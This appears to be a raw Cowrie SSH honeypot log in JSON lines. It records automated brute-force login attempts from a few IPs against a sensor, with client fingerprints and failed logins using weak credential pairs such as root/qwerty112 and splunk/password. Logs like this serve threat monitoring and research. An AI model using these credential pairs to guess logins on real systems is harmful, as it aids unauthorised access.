{"eventid":"cowrie.login.failed","username":"main","password":"1234","message":"login attempt [main/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:46.363314Z","src_ip":"91.92.42.227","session":"202c2d7f86e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:47.867674Z","src_ip":"91.92.42.227","session":"202c2d7f86e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":38254,"dst_ip":"10.17.0.5","dst_port":22,"session":"617f706d3c0f","protocol":"ssh","message":"New connection: 91.92.42.227:38254 (10.17.0.5:22) [session: 617f706d3c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:50.916445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:51.442674Z","src_ip":"91.92.42.227","session":"617f706d3c0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:51.445879Z","src_ip":"91.92.42.227","session":"617f706d3c0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:53.716343Z","src_ip":"91.92.42.227","session":"617f706d3c0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:55.316912Z","src_ip":"91.92.42.227","session":"617f706d3c0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":50684,"dst_ip":"10.17.0.5","dst_port":22,"session":"902cfde09f1b","protocol":"ssh","message":"New connection: 91.92.42.227:50684 (10.17.0.5:22) [session: 902cfde09f1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:57.325880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:57.922324Z","src_ip":"91.92.42.227","session":"902cfde09f1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:57.925350Z","src_ip":"91.92.42.227","session":"902cfde09f1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":47152,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ae1829199b6","protocol":"ssh","message":"New connection: 27.71.230.31:47152 (10.17.0.5:22) [session: 9ae1829199b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:27:59.870331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:00.127883Z","src_ip":"27.71.230.31","session":"9ae1829199b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:00.145566Z","src_ip":"27.71.230.31","session":"9ae1829199b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:01.461792Z","src_ip":"91.92.42.227","session":"902cfde09f1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:03.221363Z","src_ip":"91.92.42.227","session":"902cfde09f1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":50756,"dst_ip":"10.17.0.5","dst_port":22,"session":"aaacbaff560a","protocol":"ssh","message":"New connection: 91.92.42.227:50756 (10.17.0.5:22) [session: aaacbaff560a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:04.542694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:05.002330Z","src_ip":"91.92.42.227","session":"aaacbaff560a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:05.006912Z","src_ip":"91.92.42.227","session":"aaacbaff560a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"User","message":"login attempt [root/User] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:06.058824Z","src_ip":"27.71.230.31","session":"9ae1829199b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"111111","message":"login attempt [dev/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:06.971681Z","src_ip":"91.92.42.227","session":"aaacbaff560a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:07.684112Z","src_ip":"27.71.230.31","session":"9ae1829199b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:08.371263Z","src_ip":"91.92.42.227","session":"aaacbaff560a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":35738,"dst_ip":"10.17.0.5","dst_port":22,"session":"9737f3c793bb","protocol":"ssh","message":"New connection: 89.223.69.22:35738 (10.17.0.5:22) [session: 9737f3c793bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:09.641787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:09.646153Z","src_ip":"89.223.69.22","session":"9737f3c793bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:09.759631Z","src_ip":"89.223.69.22","session":"9737f3c793bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty112","message":"login attempt [root/qwerty112] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:10.100282Z","src_ip":"89.223.69.22","session":"9737f3c793bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:11.215862Z","src_ip":"89.223.69.22","session":"9737f3c793bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":43838,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b76203e3380","protocol":"ssh","message":"New connection: 91.92.42.227:43838 (10.17.0.5:22) [session: 8b76203e3380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:12.329458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:12.387621Z","src_ip":"91.92.42.227","session":"8b76203e3380","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:12.489532Z","src_ip":"91.92.42.227","session":"8b76203e3380","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"password","message":"login attempt [splunk/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:13.430583Z","src_ip":"91.92.42.227","session":"8b76203e3380","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:14.642287Z","src_ip":"91.92.42.227","session":"8b76203e3380","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":50944,"dst_ip":"10.17.0.5","dst_port":22,"session":"c36e9cf7e843","protocol":"ssh","message":"New connection: 91.92.42.227:50944 (10.17.0.5:22) [session: c36e9cf7e843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:19.086339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:19.342502Z","src_ip":"91.92.42.227","session":"c36e9cf7e843","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:19.345877Z","src_ip":"91.92.42.227","session":"c36e9cf7e843","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app","message":"login attempt [app/app] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:20.738574Z","src_ip":"91.92.42.227","session":"c36e9cf7e843","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:22.029485Z","src_ip":"91.92.42.227","session":"c36e9cf7e843","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52656,"dst_ip":"10.17.0.5","dst_port":22,"session":"37b2ca0d7965","protocol":"ssh","message":"New connection: 91.92.42.227:52656 (10.17.0.5:22) [session: 37b2ca0d7965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:26.404788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:26.514303Z","src_ip":"91.92.42.227","session":"37b2ca0d7965","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:26.517089Z","src_ip":"91.92.42.227","session":"37b2ca0d7965","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qaz@WSX","message":"login attempt [user/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:27.310949Z","src_ip":"91.92.42.227","session":"37b2ca0d7965","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:28.567227Z","src_ip":"91.92.42.227","session":"37b2ca0d7965","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52768,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e233a39ae03","protocol":"ssh","message":"New connection: 91.92.42.227:52768 (10.17.0.5:22) [session: 6e233a39ae03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:32.867689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:28:33.014303Z","src_ip":"91.92.42.227","session":"6e233a39ae03","protocol":"ssh"}
